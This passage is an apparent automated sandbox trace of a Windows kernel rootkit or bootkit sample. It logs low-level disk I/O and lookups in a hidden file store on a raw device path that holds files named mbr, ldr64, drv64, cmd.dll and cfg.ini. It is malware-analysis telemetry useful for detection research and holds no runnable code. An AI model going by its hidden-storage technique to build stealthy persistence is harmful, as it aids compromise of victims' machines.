FastMutex=0xfffffa80027d3898) [0116.692] KeLeaveCriticalRegion () [0116.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.692] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.692] KeEnterCriticalRegion () [0116.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.692] KeLeaveCriticalRegion () [0116.692] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.692] KeEnterCriticalRegion () [0116.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.693] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.693] IdePortDispatch () returned 0x103 [0116.693] KeWaitForMutexObject () returned 0x0 [0116.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.693] KeLeaveCriticalRegion () [0116.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.693] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.693] KeEnterCriticalRegion () [0116.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.693] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003519000 [0116.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.693] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.693] IdePortDispatch () returned 0x103 [0116.693] KeWaitForMutexObject () returned 0x0 [0116.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.693] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.693] IdePortDispatch () returned 0x103 [0116.693] KeWaitForMutexObject () returned 0x0 [0116.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] KeLeaveCriticalRegion () [0116.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.694] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.694] KeEnterCriticalRegion () [0116.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] KeLeaveCriticalRegion () [0116.694] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.694] KeEnterCriticalRegion () [0116.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.694] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] KeLeaveCriticalRegion () [0116.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.694] KeEnterCriticalRegion () [0116.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] ExFreePoolWithTag (P=0xfffffa80039b6b80, Tag=0x0) [0116.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.694] KeLeaveCriticalRegion () [0116.694] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.694] ReleaseMutex (hMutex=0xf0) returned 1 [0116.694] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0116.694] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0116.695] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0116.695] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.695] KeEnterCriticalRegion () [0116.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.695] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.695] IdePortDispatch () returned 0x103 [0116.695] KeWaitForMutexObject () returned 0x0 [0116.695] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.695] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.695] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.695] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.695] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.695] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.695] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.695] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.695] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.695] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.695] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.695] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.695] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.695] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.695] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.695] KeLeaveCriticalRegion () [0116.695] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.695] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0116.695] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0116.695] KeEnterCriticalRegion () [0116.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.696] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.696] IdePortDispatch () returned 0x103 [0116.696] KeWaitForMutexObject () returned 0x0 [0116.696] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.696] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0116.696] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.696] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.696] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0116.696] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.696] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0116.696] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.696] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0116.696] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0116.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.696] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0116.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.696] KeLeaveCriticalRegion () [0116.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.696] ReleaseMutex (hMutex=0x100) returned 1 [0116.696] Sleep (dwMilliseconds=0x2bf20) [0116.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x68c1a630, dwHighDateTime=0x1d24fa4)) [0116.707] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0116.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.707] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.707] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.707] KeEnterCriticalRegion () [0116.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.707] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.707] IdePortDispatch () returned 0x103 [0116.707] KeWaitForMutexObject () returned 0x0 [0116.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aaecd0 [0116.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.708] KeLeaveCriticalRegion () [0116.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.708] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.708] KeEnterCriticalRegion () [0116.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.708] KeLeaveCriticalRegion () [0116.708] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.708] KeEnterCriticalRegion () [0116.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.708] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.708] IdePortDispatch () returned 0x103 [0116.708] KeWaitForMutexObject () returned 0x0 [0116.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.708] KeLeaveCriticalRegion () [0116.708] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.708] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.708] KeEnterCriticalRegion () [0116.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003523000 [0116.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.709] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.709] IdePortDispatch () returned 0x103 [0116.709] KeWaitForMutexObject () returned 0x0 [0116.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.709] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.709] IdePortDispatch () returned 0x103 [0116.709] KeWaitForMutexObject () returned 0x0 [0116.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.709] KeLeaveCriticalRegion () [0116.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.710] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.710] KeEnterCriticalRegion () [0116.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] KeLeaveCriticalRegion () [0116.710] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.710] KeEnterCriticalRegion () [0116.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0116.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfb40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0116.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] KeLeaveCriticalRegion () [0116.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.710] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.710] KeEnterCriticalRegion () [0116.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] ExFreePoolWithTag (P=0xfffffa8003aaecd0, Tag=0x0) [0116.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] KeLeaveCriticalRegion () [0116.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.710] ReleaseMutex (hMutex=0xf0) returned 1 [0116.710] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0116.710] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0116.710] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.710] KeEnterCriticalRegion () [0116.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.710] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0116.710] IdePortDispatch () returned 0x103 [0116.710] KeWaitForMutexObject () returned 0x0 [0116.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0116.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0116.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0116.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003869e60 [0116.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.711] KeLeaveCriticalRegion () [0116.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.711] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.711] KeEnterCriticalRegion () [0116.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.711] KeLeaveCriticalRegion () [0116.711] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.711] KeEnterCriticalRegion () [0116.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0116.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0116.711] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0116.711] IdePortDispatch () returned 0x103 [0116.711] KeWaitForMutexObject () returned 0x0 [0116.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.711] KeLeaveCriticalRegion () [0116.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.711] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.711] KeEnterCriticalRegion () [0116.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.711] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003524000 [0116.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.711] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.712] IdePortDispatch () returned 0x103 [0116.712] KeWaitForMutexObject () returned 0x0 [0116.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0116.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0116.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0116.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0116.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0116.712] IdePortDispatch () returned 0x103 [0116.712] KeWaitForMutexObject () returned 0x0 [0116.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.712] KeLeaveCriticalRegion () [0116.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0116.712] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.713] KeEnterCriticalRegion () [0116.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0116.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0116.713] KeLeaveCriticalRegion () [0116.713] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0116.713] KeEnterCriticalRegion () [0116.713] ExAcquireFastMutexUnsafe (in: 